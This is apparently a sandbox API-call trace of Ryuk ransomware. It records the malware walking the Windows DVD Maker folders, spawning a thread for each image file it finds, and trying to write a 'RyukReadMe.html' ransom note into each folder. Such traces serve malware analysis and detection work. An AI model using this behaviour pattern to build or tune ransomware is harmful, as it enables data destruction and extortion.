	[0226.014] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0226.014] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0226.015] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb34
	[0226.017] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.017] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x76, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0226.018] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb38
	[0226.020] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.021] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0x76, dwReserved1=0x0, cFileName="colorcycle.png", cAlternateFileName="")) returned 1
	[0226.021] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb3c
	[0226.024] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.024] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x76, dwReserved1=0x0, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1
	[0226.024] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb40
	[0226.026] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.027] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0226.027] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb44
	[0226.030] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.030] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0226.030] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb48
	[0226.190] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.254] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0226.254] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.255] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb4c
	[0226.261] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.262] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0226.262] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb50
	[0226.273] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.274] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0226.274] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb54
	[0226.277] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.277] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0226.277] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb58
	[0226.279] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.280] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x76, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 1
	[0226.280] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb5c
	[0226.281] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.282] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x76, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 0
	[0226.282] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0226.284] SetLastError (dwErrCode=0x0) 
	[0226.284] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.293] GetLastError () returned 0x5
	[0226.293] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0226.293] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.293] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="LAYERE~1")) returned 1
	[0226.293] SetLastError (dwErrCode=0x0) 
	[0226.293] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0226.294] GetLastError () returned 0x5
	[0226.294] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0226.294] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0226.294] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0226.297] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0226.298] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0226.298] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb60
	[0226.299] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.300] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x76, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1
	[0226.300] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb64
	[0226.637] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.638] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x76, dwReserved1=0x0, cFileName="blackbars60.png", cAlternateFileName="")) returned 1
	[0226.638] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb68
	[0226.641] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.641] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, dwReserved0=0x76, dwReserved1=0x0, cFileName="layers.png", cAlternateFileName="")) returned 1
	[0226.641] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb6c
	[0226.643] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.644] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0226.644] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb70
	[0226.646] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.647] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0226.647] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb74
	[0226.649] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.650] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0226.650] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb78
	[0226.651] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.652] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0226.652] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb7c
	[0226.654] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.655] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0226.655] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb80
	[0226.657] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.658] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0226.658] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0226.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb84
	[0226.660] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0226.660] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0
	[0226.661] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0226.774] SetLastError (dwErrCode=0x0) 
